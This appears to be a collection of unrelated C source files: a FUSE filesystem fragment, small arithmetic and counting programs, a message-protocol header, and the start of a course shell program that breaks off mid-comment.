blocks[fd->blockno[j]]->current_size = 0; } if(i == d->filecount-1){ d->filecount = d->filecount-1; printf("File Deleted..\n"); return 0;} else { d->f[i] = d->f[d->filecount-1]; d->filecount = d->filecount-1; printf("File Deleted..\n"); return 0; } printf("File Deletion Failed..\n"); return -errno; } } //Read Directory static int file_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) { struct file *ft=(struct file *)malloc(sizeof(struct file)); struct directry *d=(struct directry*)malloc(sizeof(struct directry)); int i; int flag=searchroot(path,&ft,&d,0); filler(buf, ".", NULL, 0); filler(buf, "..", NULL, 0); if(flag==0) { for(i=0;i<fileroot->filecount;i++) filler(buf,fileroot->files[i]->fname,NULL,0); struct directry *temp=(struct directry*)malloc(sizeof(struct directry)); temp=fileroot->dir; for(i=0;i<fileroot->dircount;i++) { filler(buf,temp->dname,NULL,0); temp=temp->next; } } else if(flag==2) { for(i=0;i<d->filecount;i++) { filler(buf,d->f[i]->fname,NULL,0); } } else return -ENOENT; return 0; } //Create File int file_create(const char *path, mode_t mode,struct fuse_file_info * fi) { struct file *ft=(struct file *)malloc(sizeof(struct file)); struct directry *d=(struct directry*)malloc(sizeof(struct directry)); int flag=searchroot(path,&ft,&d,1); if(flag==1) { printf("File already exists\n"); return -errno; } else if(flag==-1) { printf("Creating File..\n"); ft->fil=(struct fileinfo *)malloc(sizeof(struct fileinfo)); ft->fil->offset=0; ft->fil->size=0; ft->fil->mode=S_IFREG | mode; ft->fil->blockcount=0; ft->fil->block_size=BLOCK_SIZE; ft->fil->uid=fileroot->uid; ft->fil->gid=fileroot->gid; ft->fd_count=0; const char * name=path; int count=0; while(*name!='\0') { if(*name=='/') count++; name++; } if(count==1 || count==0) { strcpy(ft->fname,path+1); if(fileroot->filecount==0) { fileroot->files=(struct file **)malloc(sizeof(struct file *)*10); } fileroot->files[fileroot->filecount]=(struct file*)malloc(sizeof(struct file)) ; ft->fil->fileId=fileroot->filecount; fileroot->files[fileroot->filecount]=ft; (fileroot->filecount)++; printf("Creating File..\n"); return 0; } else { searchroot(path,&ft,&d,0); const char *name=path; int c=0; while(*name != '\0') { if(*name=='/') c++; name++; if(c==2) break; } strcpy(ft->fname,name); if(d->filecount==0) { d->f=(struct file **)malloc(sizeof(struct file *)*10); } d->f[d->filecount]=(struct file*)malloc(sizeof(struct file)) ; ft->fil->fileId=d->filecount; d->f[d->filecount]=ft; (d->filecount)++; printf("Creating File..\n"); return 0; } } printf("File Creation Failed..\n"); return -errno; } //Reading File static int file_read(const char *path, char *buf, size_t size,off_t offset, struct fuse_file_info *fi) { struct file *ft=(struct file *)malloc(sizeof(struct file)); struct directry *d=(struct directry*)malloc(sizeof(struct directry)); int flag=searchroot(path,&ft,&d,1); if(flag==1) { if(offset>ft->fil->size) { printf("Can't read. Offset is large\n"); return 0; } else { printf("Offset = %ld, file offset = %ld, size = %ld\n",offset,ft->fil->offset,size); if(ft->fil->blockcount>0) { int i; for(i=0;i<ft->fil->blockcount;i++) { if(offset <= ((BLOCK_SIZE-1)*(i+1))) //gives the block index break; } //Calculating offset within the block with the index returned off_t new_off=offset-(BLOCK_SIZE * i); printf("Offset = %d\n",new_off); size_t avail = ft->fil->size - new_off; //available size size = (size < avail) ? size : avail; //Takes the smaller size size_t new=size; off_t off=0; avail=BLOCK_SIZE; size_t n = (size < avail) ? size : avail; while(size>0) { read_block(ft->fil->blockno[i],buf,new_off,off, n); i=i+1; off=off+n; size=size-n; avail=BLOCK_SIZE; n = (size < avail) ? avail : size; new_off=0; } ft->fil->offset=offset+new; printf("Read complete..\n"); return new; } else { printf("Read Failed\n"); return 0; } } } else { printf("Read Failed\n"); return -errno; } } //Create symbolic link static int file_symlink(const char* oldpath, const char*newpath) { printf("%s...\n",newpath); fflush(stdout); printf("%s...\n",oldpath); fflush(stdout); char*tok=strtok(oldpath,"/"); printf("%s....1\n",tok); fflush(stdout); tok=strtok(NULL,"/"); printf("%s....2\n",tok); fflush(stdout); tok=strtok(NULL,"/"); printf("%s...\n",tok); tok=strtok(NULL,"/"); printf("%s....\n",tok); fflush(stdout); tok=strtok(NULL,"/"); printf("%s....\n",tok); fflush(stdout); char*temp; strcpy(temp,tok); while(tok=strtok(NULL,"/")) { strcat(temp,"/"); strcat(temp,tok); } char*temp2; tok = strtok(newpath,"/"); char* token1 = strtok(newpath, "/"); char* fast = strtok(NULL,"/"); strcpy(temp2,token1); while (fast=strtok(NULL,"/")) { //printf("%s\n", token); strcpy(fast,token1); strcat(temp2,"/"); strcat(temp2,token1); fast = strtok(NULL,"/"); } strcpy(temp2,newpath); printf("%s.....6\n",temp); oldpath=temp; struct file*f=(struct file*)malloc(sizeof(struct file)); struct directry*d=(struct directry*)malloc(sizeof(struct directry)); int flag=searchroot(oldpath,&f,&d,0); if(flag==-1) { printf("Invalid old pathway %s...\n",oldpath); return -errno; } if(flag==1) { struct directry*d1=(struct directry*)malloc(sizeof(struct directry)); struct file*f1=(struct file*)malloc(sizeof(struct file)); flag=searchroot(newpath,&f1,&d1,1); if(flag==-1) { printf("Invalid new pathway....\n"); return -errno; } f1->fd_count=0; strcpy(f1->fname,strrchr(newpath,'/')+1); return 0; } flag=searchdir(d,oldpath,&f); if(flag==-1) { printf("Invalid old pathway....\n"); return -errno; } struct directry*d1=(struct directry*)malloc(sizeof(struct directry)); struct file*f1=(struct file*)malloc(sizeof(struct file)); flag=searchroot(newpath,&f1,&d1,1); strcpy(f1->fname,strrchr(newpath,'/')+1); if(flag==-1) { printf("Invalid new pathway....\n"); return -errno; } f1->fd_count=0; f1->fil=f->fil; d1->f[d1->filecount]=f1; return 0; } //write in the file static int file_write(const char *path, const char *buf, size_t size, off_t offset, struct fuse_file_info *fi) { if((int)strlen(buf)>=((int)super.totalfreeb-1)*(int)BLOCK_SIZE) { printf("File extremely large....\n"); struct file*f=(struct file*)malloc(sizeof(struct file)); struct directry*d=(struct directry*)malloc(sizeof(struct directry)); int flag = searchroot(path,&f,&d,0); if(flag==-1) return -errno; if(flag==0) return -EDQUOT; if(flag!=2) { printf("Flag==1....\n"); file_unlink(path); return -EDQUOT; } if(strcmp(strrchr(path,'/')+1,d->dname)==0) return -errno; flag = searchdir(d,strrchr(path,'/')+1,&f); if(flag==-1) return -errno; file_unlink(path); return -EDQUOT; } struct file *ft=(struct file *)malloc(sizeof(struct file)); struct directry *d=(struct directry*)malloc(sizeof(struct directry)); printf("In write\n"); int flag=searchroot(path,&ft,&d,1); if(flag==1) { //Calculate the required number of blocks to write blkcnt_t req_blocks =ceil( (offset + size + BLOCK_SIZE - 1) / BLOCK_SIZE); if(req_blocks<=ft->fil->blockcount) { int i; for(i=0;i<ft->fil->blockcount;i++) { if(offset <= ((BLOCK_SIZE-1)*(i+1))) break; } off_t new_off=offset-(BLOCK_SIZE * i); size_t avail = BLOCK_SIZE-new_off; size_t n = (size > avail) ? avail : size; size_t new=size; off_t off=0; int z; while(size>0) { z=write_block(ft->fil->blockno[i],buf,new_off,off, n); if(z==-1) { printf("No Space"); return -errno; } i=i+1; off=off+n; size=size-n; avail = BLOCK_SIZE; if(size>0){ int x=blocks[ft->fil->blockno[i]]->current_size; blocks[ft->fil->blockno[i]]->current_size=x+n; } n = (size > avail) ? avail : size; new_off=0; } //Updating the file size and offset if(ft->fil->size<offset+new) ft->fil->size=offset+new; ft->fil->offset=offset+size; return new; } else { //No. of extra blocks required blkcnt_t remain_b=req_blocks-ft->fil->blockcount; int i,x,j; for(i=0;i<remain_b;i++) { x=super.freeblocknos[0]; j=(super.totalfreeb)-1; //Take the extra blocks from the freeblocks in superblock super.freeblocknos[0]= super.freeblocknos[j]; (super.totalfreeb)--; ft->fil->blockno[ft->fil->blockcount]=x; (ft->fil->blockcount)++; } for(i=0;i<ft->fil->blockcount;i++) { if(offset <= ((BLOCK_SIZE)*(i+1))) break; } off_t new_off=offset-(BLOCK_SIZE * i); size_t avail = BLOCK_SIZE-new_off; size_t n = (size > avail) ? avail : size; size_t new=size; off_t off=0; int z=0; while(size>0) { z=write_block(ft->fil->blockno[i],buf,new_off,off, n); if(z==-1) { printf("no space"); return -errno; } i=i+1; off=off+n; size=size-n; avail = BLOCK_SIZE; if(size>0) { int x=blocks[ft->fil->blockno[i]]->current_size; blocks[ft->fil->blockno[i]]->current_size=x+n; } n = (size > avail) ? avail : size; new_off=0; } if(ft->fil->size<offset+new) ft->fil->size=offset+new; ft->fil->offset=offset+new; printf("Write Completed..\n"); return new; } } else { printf("Write Failed..\n"); return -errno; } } //Destroy the file //making it Persistent void file_destroy(void *private_data) { FILE *d; int i,j; //Binary file d=fopen("/home/user/IOS project/file.txt","wb+"); //Initializing the data structure fseek(d,0,SEEK_SET); fwrite(fileroot,sizeof(*fileroot),1,d); struct directry *temp_d; temp_d=fileroot->dir; struct file *temp_f; struct fileinfo *temp_fi; struct block *temp_b; //write root directories and files within them for(i=0;i<fileroot->dircount;i++) { fwrite(temp_d,sizeof(*temp_d),1,d); for(i=0;i<temp_d->filecount;i++) { temp_f=temp_d->f[i]; fwrite(temp_f,sizeof(*temp_f),1,d); temp_fi=temp_f->fil; fwrite(temp_fi,sizeof(*temp_fi),1,d); for(j=0;j<temp_fi->blockcount;j++) { void *temp_da; temp_b=blocks[temp_fi->blockno[j]]; fwrite(temp_b,sizeof(*temp_b),1,d); temp_da=temp_b->data; fwrite(temp_da,sizeof(*temp_da),BLOCK_SIZE,d); free(temp_da); } } temp_d=temp_d->next; } //write the superblocks fwrite(&super,sizeof(super),1,d); //write only root files for(i=0;i<fileroot->filecount;i++) { temp_f=fileroot->files[i]; fwrite(temp_f,sizeof(*temp_f),1,d); temp_fi=temp_f->fil; fwrite(temp_fi,sizeof(*temp_fi),1,d); for(j=0;j<temp_fi->blockcount;j++) { void *temp_da; temp_b=blocks[temp_fi->blockno[j]]; fwrite(temp_b,sizeof(*temp_b),1,d); temp_da=temp_b->data; fwrite(temp_da,sizeof(*temp_da),BLOCK_SIZE,d); free(temp_da); } } fclose(d); printf("Write to Binary File Complete..\n"); } int persistent() { FILE *d; int i,j; d=fopen("/home/user/IOS project/file.txt","rb+"); fseek(d,0,SEEK_END); long int p=ftell(d); if(p==0) { fclose(d); return 0; } printf("Restoring original File System..\n"); fseek(d,0,SEEK_SET); fileroot=(struct root *)malloc(sizeof(struct root)); memset(fileroot, 0, sizeof(struct root)); fread(fileroot,sizeof(*fileroot),1,d); struct directry *prev; //read root directories and files within them for(i=0;i<fileroot->dircount;i++) { struct directry *temp_d=(struct directry*)malloc(sizeof(struct directry)); fread(temp_d,sizeof(*temp_d),1,d); if(i==0) { temp_d->next=NULL; fileroot->dir=temp_d; prev=temp_d; } else { temp_d->next=NULL; prev->next=temp_d; prev=temp_d; } temp_d->f=(struct file **)malloc(sizeof(struct file *)*10); for(i=0;i<temp_d->filecount;i++) { struct file *temp_f=(struct file*)malloc(sizeof(struct file)); struct fileinfo *temp_fi=(struct fileinfo*)malloc(sizeof(struct fileinfo)); fread(temp_f,sizeof(*temp_f),1,d); fread(temp_fi,sizeof(*temp_fi),1,d); for(j=0;j<temp_fi->blockcount;j++) { struct block *temp_b=(struct block*)malloc(sizeof(struct block)); void *temp_da=(void *)malloc(sizeof(char)*BLOCK_SIZE); //printf("in b %d\n",temp_fi->blockno[j]); fread(temp_b,sizeof(*temp_b),1,d); fread(temp_da,sizeof(*temp_da),BLOCK_SIZE,d); temp_b->data=(char *)temp_da; blocks[temp_fi->blockno[j]]=temp_b; } temp_f->fil=temp_fi; temp_d->f[i]=temp_f; } } //reading superblocks fread(&super,sizeof(super),1,d); //reading root files fileroot->files=(struct file **)malloc(sizeof(struct file *)*10); for(i=0;i<fileroot->filecount;i++) { struct file *temp_f=(struct file*)malloc(sizeof(struct file)); struct fileinfo *temp_fi=(struct fileinfo*)malloc(sizeof(struct fileinfo)); fread(temp_f,sizeof(*temp_f),1,d); fread(temp_fi,sizeof(*temp_fi),1,d); for(j=0;j<temp_fi->blockcount;j++) { struct block *temp_b=(struct block*)malloc(sizeof(struct block)); void *temp_da=(void *)malloc(sizeof(char)*BLOCK_SIZE); //printf("in b %d\n",temp_fi->blockno[j]); fread(temp_b,sizeof(*temp_b),1,d); fread(temp_da,sizeof(*temp_da),BLOCK_SIZE,d); temp_b->data=(char *)temp_da; blocks[temp_fi->blockno[j]]=temp_b; } temp_f->fil=temp_fi; fileroot->files[i]=temp_f; } fclose(d); printf("File System Restored..\n"); return 1; } static void *file_init(struct fuse_conn_info *conn,struct fuse_config *cfg) { initialize(); if(persistent()==0) { fileroot=(struct root *)malloc(sizeof(struct root)); memset(fileroot, 0, sizeof(struct root)); fileroot->uid=getuid(); fileroot->gid=getgid(); fileroot->mode=S_IFDIR | 0777; fileroot->filecount=0; fileroot->dircount=0; fileroot->dir=NULL; } return NULL; } static struct fuse_operations file_oper = { .getattr = file_getattr, .readdir = file_readdir, .mkdir = file_mkdir, .open = file_open, .init =file_init, .read = file_read, .write = file_write, .create =file_create, .destroy =file_destroy, .rmdir =file_rmdir, .chmod =file_chmod, .truncate =file_truncate, .unlink =file_unlink, .rename =file_rename, .symlink =file_symlink }; int main(int argc, char *argv[]) { umask(0); return fuse_main(argc, argv, &file_oper, NULL); }
C
#include <stdio.h> #include "myMath.h" int main() { double x=0; float answer1, answer2,answer3=0; printf("Please insert a real number:\n"); scanf("%lf",&x); answer1= sub(add(Exponent((int)x),Power(x,3)), 2); answer2= add(mul(x,3), mul(Power (x,2),2)); answer3= sub(div(mul(Power(x,3),4),5), mul(x,2)); printf("The value of f(x)= e^x+x^3-2 at the point %lf is %0.4f.\n", x, answer1); printf("The value of f(x)= 3x+2x^2 at the point %lf is %0.4f.\n", x, answer2); printf("The value of f(x)= (4x^3)/5-2x at the point %lf is %0.4f.\n", x, answer3); return 0; }
C
/* Copyright (c) Microsoft Corporation. All rights reserved. Licensed under the MIT License. */ #pragma once #include <sys/types.h> #include <stdbool.h> #include "message_protocol_public.h" #include "exitcodes.h" typedef ssize_t (*Transport_ReadFunctionType)(char *buffer, size_t amount); typedef ssize_t (*Transport_WriteFunctionType)(const char *buffer, size_t amount); /// <summary> /// Initialize the message protocol and UART. /// </summary> /// <param name="epollFd">epoll file descriptor to use for event polling.</param> /// <param name="readFunction">Function to call to read data from the transport.</param> /// <param name="writeFunction">Function to call to write data to the transport.</param> /// <returns>An <see cref="ExitCode" /> indicating success or failure.</returns> ExitCode MessageProtocol_Initialize(EventLoop *el, Transport_ReadFunctionType readFunction, Transport_WriteFunctionType writeFunction); /// <summary> /// Clean up the message protocol callback handlers. /// </summary> void MessageProtocol_Cleanup(void); /// <summary> /// Call this function to cause the message protocol to attempt to read a message from the /// transport (and call the relevant handlers) /// </summary> void MessageProtocol_HandleReceivedMessage(void); typedef void (*MessageProtocol_EventHandlerType)(MessageProtocol_CategoryId categoryId, MessageProtocol_EventId eventId); /// <summary> /// Register a callback handler for incoming message protocol event messages. /// </summary> /// <param name="categoryId">The message protocol category ID.</param> /// <param name="eventId">The message protocol event ID.</param> /// <param name="handler">The callback handler to register.</param> void MessageProtocol_RegisterEventHandler(MessageProtocol_CategoryId categoryId, MessageProtocol_EventId eventId, MessageProtocol_EventHandlerType handler); typedef void (*MessageProtocol_IdleHandlerType)(void); /// <summary> /// Register a callback handler for the idle event. /// </summary> /// <param name="handler">The callback handler to register.</param> void MessageProtocol_RegisterIdleHandler(MessageProtocol_IdleHandlerType handler); typedef void (*MessageProtocol_ResponseHandlerType)(MessageProtocol_CategoryId categoryId, MessageProtocol_RequestId requestId, const uint8_t *data, size_t dataSize, MessageProtocol_ResponseResult result, bool timedOut); /// <summary> /// Send a request using the message protocol. /// </summary> /// <param name="categoryId">The message protocol category ID.</param> /// <param name="requestId">The message protocol request ID.</param> /// <param name="body">The body of the message.</param> /// <param name="bodyLength">The length of the message body in bytes.</param> /// <param name="responseHandler">The callback handler for the response message.</param> void MessageProtocol_SendRequest(MessageProtocol_CategoryId categoryId, MessageProtocol_RequestId requestId, const uint8_t *body, size_t bodyLength, MessageProtocol_ResponseHandlerType responseHandler); /// <summary> /// Query whether the message protocol is currently idle. /// </summary> /// <returns>True if the message protocol is currently idle; false if it is busy.</returns> bool MessageProtocol_IsIdle(void);
C
#include<stdio.h> int main() { int n,k,i,f,c=0; scanf("%d %d",&n,&k); for(i=0;i<n;i++) { scanf("%d",&f); if(f%k==0) c++; } printf("%d",c); return 0; }
C
#include <stdio.h> int main(){ int number,rem,one=0; printf("\nEnter a number : "); scanf("%d",&number); for(int i=0;i<8;i++) { rem=number%10; if(rem==1){one++;} number/=10; } printf("\n%d is number of ones in given number\n",one); }
C
/* **************************************************************************** * simpsh.c * 28 January 2019 * Operating Systems * */ #define _GNU_SOURCE #include <string.h> #include <signal.h> #include <getopt.h> #include <unistd.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/wait.h> #include <sys/time.h> #include <fcntl.h> #include <sys/resource.h> //****************** *** File flags: *** ****************** int append_f = 0; int cloexec_f = 0; int creat_f = 0; int directory_f = 0; int dsync_f = 0; int excl_f = 0; int nofollow_f = 0; int nonblock_f = 0; int rsync_f = 0; int sync_f = 0; int trunc_f = 0; //****************** *** Misc options: : *** ****************** int verbose = 0; int command_arg = 0; int wait_f = 0; int fail_f = 0; //****************** *** Profile options: : *** ****************** int profile_f = 0; struct rusage usage; double kernalTime = 0; double userTime = 0; struct timeval usr_s; struct timeval usr_f; struct timeval ker_s; struct timeval ker_f; // for the shell's wait/for the maximum return code int shell_wstatus; //interrupt handling: int catch_sig = 0; int ignore_sig = 0; int default_sig = 0; // int* ptr = NULL; // int caught = *ptr; /* **************************************************************************** * enumerations and structures for the program * */ /* these maximums were chosen based on the maximum command line * length that the shell will tolerate * */ /* maximum number of arguments for any subcommand * */ #define argument_list_length 50 /* maximum for the number of files that are in use * */ #define file_list_length 50 /* maximum for the number of commands that are in use * */ #define command_list_length 50 enum file_mode{ _read, _write, _readwrite, _piperead, _pipewrite }; typedef enum file_mode file_mode; struct my_file { int fd; file_mode mode; int valid; char* name; }; typedef struct my_file my_file; enum command_wait { _not_waiting = 0, _done_waiting }; typedef enum command_wait command_wait; enum command_output { _not_output = 0, _output_done }; typedef enum command_output command_output; struct my_command { char* name; char* argument_list[argument_list_length]; int signal_catch; int signal_ignore; int signal_default; pid_t child_pid; int wstatus; int options; command_wait wait_f; command_output report_f; }; typedef struct my_command my_command; /* this signal handler does some i/o to stderr * and then exits with the signal number * */ void signal_handler(int sig) { if (sig == catch_sig) { fprintf(stderr, "%d caught\n", catch_sig); exit(sig); } } /* our favorite default signal handler * exits with code 139 and produces no * output to either stdout nor stderr... * */ void default_signal_handler(int sig) { /* there is a use for it... * */ sig = sig + 1; exit(139); } /* update the signal handler * */ void update_signal_handler(int sig, void (*new_handler) (int)) { struct sigaction sig_action; sig_action.sa_handler = new_handler; if (0 != sigaction(sig, &sig_action, NULL)) { // we have a problem registering the handler if (EFAULT == errno) { fprintf(stderr, "The specified handler is not valid.\n"); } else // EINVAL == errno { if (SIGKILL == sig) { fprintf(stderr, "The handler for SIGKILL may not be overridden.\n"); } else if (SIGSTOP == sig) { fprintf(stderr, "The handler for SIGSTOP may not be overridden.\n"); } else // invalid signal number { fprintf(stderr, "The signal number %d is not valid.\n", sig); } } } } /* update current execution times * */ void profile_function(const char *command_display) { /* start the kenerl and user time, if cannot getrusage, repport error */ int rusage_val = 0; /* test the global flag for profiling * */ if(profile_f != 1) { return; } rusage_val = getrusage(RUSAGE_SELF, &usage); if (rusage_val == -1) { fprintf(stderr, "Cannot run the usage %s\n", strerror(errno)); } usr_f = usage.ru_utime; ker_f = usage.ru_stime; userTime = ((double)usr_f.tv_sec + (double)usr_f.tv_usec/1000000) - ((double)usr_s.tv_sec + (double)usr_s.tv_usec/1000000); kernalTime = ((double)ker_f.tv_sec + (double)ker_f.tv_usec/1000000) - ((double)ker_s.tv_sec + (double)ker_s.tv_usec/1000000); fprintf(stdout, " %s - User: %f, Kernel: %f \n", command_display, userTime, kernalTime); } void profile_reset_start_times() { /* update the global start time usage information * */ int rusage_val = 0; rusage_val = getrusage(RUSAGE_SELF, &usage); if (rusage_val == -1) { fprintf(stderr, "Cannot run the usage %s\n", strerror(errno)); } usr_s = usage.ru_utime; ker_s = usage.ru_stime; } /* **************************************************************************** * the main function... * */ int main(int argc, char **argv) { // the long opts set up for parsing the command line static struct option long_options[] = { {"rdonly", 1, NULL, 'r'}, {"wronly", 1, NULL, 'w'}, {"command", 1, NULL, 'c'}, {"rdwr", 1, NULL, 't'}, {"verbose", 0, NULL, 'v'}, {"append", 0, NULL, 'a'}, {"cloexec", 0, NULL, 'b'}, {"creat", 0, NULL, 'd'}, {"directory", 0, NULL, 'e'}, {"dsync", 0, NULL, 'f'}, {"excl", 0, NULL, 'g'}, {"nofollow", 0, NULL, 'h'}, {"nonblock", 0, NULL, 'i'}, {"rsync", 0, NULL, 'j'}, {"sync", 0, NULL, 'k'}, {"trunc", 0, NULL, 'l'}, {"abort", 0, NULL, 'm'}, {"pipe", 0, NULL, 'n'}, {"pause", 0, NULL, 'o'}, {"catch", 1, NULL, 'p'}, {"close", 1, NULL, 'q'}, {"wait", 0, NULL, 's'}, {"ignore", 1, NULL, 'u'}, {"profile", 0, NULL, 'x'}, {"default", 1, NULL, 'z'}, {0, 0, 0, 0} // handles invalid args }; /* used by getopt_long to store the return code for the * command line flag currently being processed * */ int opt; /* used in the command flag switch branches * */ char **command; int file_arr[3]; /* used by the file/pipe creation flag switch branches * */ int newfile; // result from open calls int newpipe; // result from open calls int pipe_file_descriptors[2]; // read/write descriptors /* store string N from command line as an integer * */ int mandatory_n = 0; /* handy loop counters i and j are * */ int i; int j; /* index file/command currently being constructed * */ int fd_ind = 0; int cmd_ind = 0; /* allocate and initialize the bookkeeping for the files and commands * */ my_file *files = (my_file *) malloc (file_list_length * sizeof(my_file)); my_command *command_list = (my_command *) malloc (command_list_length * sizeof(my_command)); if (command_list == NULL || files == NULL) { fprintf(stderr, "Error in allocation of memory.\n"); exit(1); } memset(files, 0, file_list_length * sizeof(my_file)); memset(command_list, 0, command_list_length * sizeof(my_command)); /* initialize the shell's return code * */ shell_wstatus = 0; /* **************************************************************************** * the option processing loop * */ while ((opt = getopt_long(argc, argv, "", long_options, 0)) != -1) { switch (opt) { /* **************************************************************************** * --rdonly <filename> * a read only input stream has been specified * */ case 'r': if (verbose) { printf("--rdonly %s \n", argv[optind - 1]); fflush(stdout); } newfile = open(argv[optind - 1], O_RDONLY | append_f * O_APPEND | cloexec_f * O_CLOEXEC | creat_f * O_CREAT | directory_f * O_DIRECTORY | dsync_f * O_DSYNC | excl_f * O_EXCL | nofollow_f * O_NOFOLLOW | nonblock_f * O_NONBLOCK | rsync_f * O_RSYNC | sync_f * O_SYNC | trunc_f * O_TRUNC, O_CREAT | S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); files[fd_ind].fd = newfile; files[fd_ind].mode = _read; files[fd_ind].valid = 1; files[fd_ind].name = argv[optind - 1]; if (newfile == -1) { fprintf(stderr, "Cannot open and read the file.\n"); files[fd_ind].valid = 0; fail_f = 1; } append_f = 0; cloexec_f = 0; creat_f = 0; directory_f = 0; dsync_f = 0; excl_f = 0; nofollow_f = 0; nonblock_f = 0; rsync_f = 0; sync_f = 0; trunc_f = 0; fd_ind++; profile_function("profile: --rdonly"); break; /* **************************************************************************** * --wronly <filename> * a write only output stream has been specified * */ case 'w': if (verbose) { printf("--wronly %s \n", argv[optind - 1]); fflush(stdout); } newfile = open(argv[optind - 1], O_WRONLY | append_f * O_APPEND | cloexec_f * O_CLOEXEC | creat_f * O_CREAT | directory_f * O_DIRECTORY | dsync_f * O_DSYNC | excl_f * O_EXCL | nofollow_f * O_NOFOLLOW | nonblock_f * O_NONBLOCK | rsync_f * O_RSYNC | sync_f * O_SYNC | trunc_f * O_TRUNC, O_CREAT | S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); files[fd_ind].fd = newfile; files[fd_ind].mode = _write; files[fd_ind].valid = 1; files[fd_ind].name = argv[optind - 1]; if (newfile == -1) { fprintf(stderr, "Cannot open and write the file.\n"); files[fd_ind].valid = 0; fail_f = 1; } append_f = 0; cloexec_f = 0; creat_f = 0; directory_f = 0; dsync_f = 0; excl_f = 0; nofollow_f = 0; nonblock_f = 0; rsync_f = 0; sync_f = 0; trunc_f = 0; fd_ind++; profile_function("profile: --wronly"); break; /* **************************************************************************** * --rdwr <filename> * a read and write input/output has been specified * */ case 't': if (verbose) { printf("--rdwr %s \n", argv[optind - 1]); fflush(stdout); } // the library implementation is bad as indicated by the // error no return and the creation flag // discovered running case 20 with the excl_f set // newfile = open(argv[optind - 1], // O_RDWR | append_f * O_APPEND | // cloexec_f * O_CLOEXEC | creat_f * O_CREAT | // directory_f * O_DIRECTORY | dsync_f * O_DSYNC | // excl_f * O_EXCL | nofollow_f * // O_NOFOLLOW | nonblock_f * O_NONBLOCK | rsync_f * // O_RSYNC | sync_f * O_SYNC | trunc_f * O_TRUNC, // O_CREAT | S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); newfile = open(argv[optind - 1], O_RDWR | append_f * O_APPEND | cloexec_f * O_CLOEXEC | creat_f * O_CREAT | directory_f * O_DIRECTORY | dsync_f * O_DSYNC | nofollow_f * O_NOFOLLOW | nonblock_f * O_NONBLOCK | rsync_f * O_RSYNC | sync_f * O_SYNC | trunc_f * O_TRUNC, O_CREAT | S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); files[fd_ind].fd = newfile; files[fd_ind].mode = _readwrite; files[fd_ind].valid = 1; files[fd_ind].name = argv[optind - 1]; if (newfile == -1) { fprintf(stderr, "Cannot read and write the file named: %s ", files[fd_ind].name); fprintf(stderr, "errno = %d.\n", errno); files[fd_ind].valid = 0; fail_f = 1; } append_f = 0; cloexec_f = 0; creat_f = 0; directory_f = 0; dsync_f = 0; excl_f = 0; nofollow_f = 0; nonblock_f = 0; rsync_f = 0; sync_f = 0; trunc_f = 0; fd_ind++; profile_function("profile: --rdwr"); break; /* **************************************************************************** * --append * */ case 'a': if (verbose) { printf("--append\n"); fflush(stdout); } append_f = 1; profile_function("profile: --append"); break; /* **************************************************************************** * --cloexec * */ case 'b': if (verbose) { printf("--cloexec\n"); fflush(stdout); } cloexec_f = 1; profile_function("profile: --cloexec"); break; /* **************************************************************************** * --creat * */ case 'd': if (verbose) { printf("--creat\n"); fflush(stdout); } creat_f = 1; profile_function("profile: --creat"); break; /* **************************************************************************** * --directory * */ case 'e': if (verbose) { printf("--directory\n"); fflush(stdout); } directory_f = 1; profile_function("profile: --directory"); break; /* **************************************************************************** * --dsync * */ case 'f': if (verbose) { printf("--dsync\n"); fflush(stdout); } dsync_f = 1; profile_function("profile: --dsync"); break; /* **************************************************************************** * --execl * */ case 'g': if (verbose) { printf("--execl\n"); fflush(stdout); } excl_f = 1; profile_function("profile: --execl"); break; /* **************************************************************************** * --nofollow * */ case 'h': if (verbose) { printf("--nofollow\n"); fflush(stdout); } nofollow_f = 1; profile_function("profile: --nofollow"); break; /* **************************************************************************** * --nonblock * */ case 'i': if (verbose) { printf("--nonblock\n"); fflush(stdout); } nonblock_f = 1; profile_function("profile: --nonblock"); break; /* **************************************************************************** * --rsync * */ case 'j': if (verbose) { printf("--rsync\n"); fflush(stdout); } rsync_f = 1; profile_function("profile: --rsync"); break; /* **************************************************************************** * --sync * */ case 'k': if (verbose) { printf("--sync\n"); fflush(stdout); } sync_f = 1; profile_function("profile: --sync"); break; /* **************************************************************************** * --trunc * */ case 'l': if (verbose) { printf("--trunc\n"); fflush(stdout); } trunc_f = 1; profile_function("profile: --trunc"); break; /* **************************************************************************** * --command N0 N1 N2 <cmd> [arg1 [arg2 [...]]] * */ case 'c': //command /* collect stdin, stdout and stderr * */ file_arr[0] = atoi(argv[optind - 1]); //input file_arr[1] = atoi(argv[optind]); //output file_arr[2] = atoi(argv[optind + 1]); //error /* collect the command from the command line * arguments * */ command_list[cmd_ind].name = argv[optind + 2]; /* verify that it isn't an invalid command * e.g. one that begins with "--" * * if it is report to standard error (the shell's) * and then break from the switch statement * before allocating any memory * */ if (command_list[cmd_ind].name[0] == '-' && command_list[cmd_ind].name[1] == '-') { fprintf(stderr, "Invalid command format. \n"); fail_f = 1; break; } /* make space for the command's arguments, * if any * */ command = (char **)malloc (sizeof(char *) * argument_list_length); if (command == NULL) { fprintf(stderr, "Error in allocation of memory.\n"); exit(1); } memset(command, 0, sizeof(char*) * argument_list_length); /* make space for the executable name * and store a copy for the subcommand if possible * */ command[0] = (char*)malloc (sizeof(char) * (strlen(command_list[cmd_ind].name) + 1)); if (command[0] == NULL) { fprintf(stderr, "Error in allocation of memory.\n"); exit(1); } memset(command[0], 0, sizeof(char) * (strlen(command_list[cmd_ind].name) + 1)); strcpy(command[0], command_list[cmd_ind].name); /* for each of the subcommand's parameters, allocate a * space and store a copy for the subcommand * */ i = optind + 3; while ( argv[i] != NULL && ( ! (argv[i][0] == '-' && argv[i][1] == '-')) ) { /* make space for the executable name * and store a copy for the subcommand if possible * */ command[i - (optind + 3) + 1] = (char*)malloc (sizeof(char) * (strlen(argv[i]) + 1)); if (command[i - (optind + 3) + 1] == NULL) { fprintf(stderr, "Error in allocation of memory.\n"); exit(1); } memset(command[i - (optind + 3) + 1], 0, sizeof(char) * (strlen(argv[i]) + 1)); strcpy(command[i - (optind + 3) + 1], argv[i]); /* store a pointer to the shell's argv[i] * for the shell's command list * */ command_list[cmd_ind].argument_list[i - (optind + 3)] = argv[i]; i++; } command[i - (optind + 3) + 1] = NULL; command_list[cmd_ind].argument_list[i - (optind + 3)] = NULL; /* if 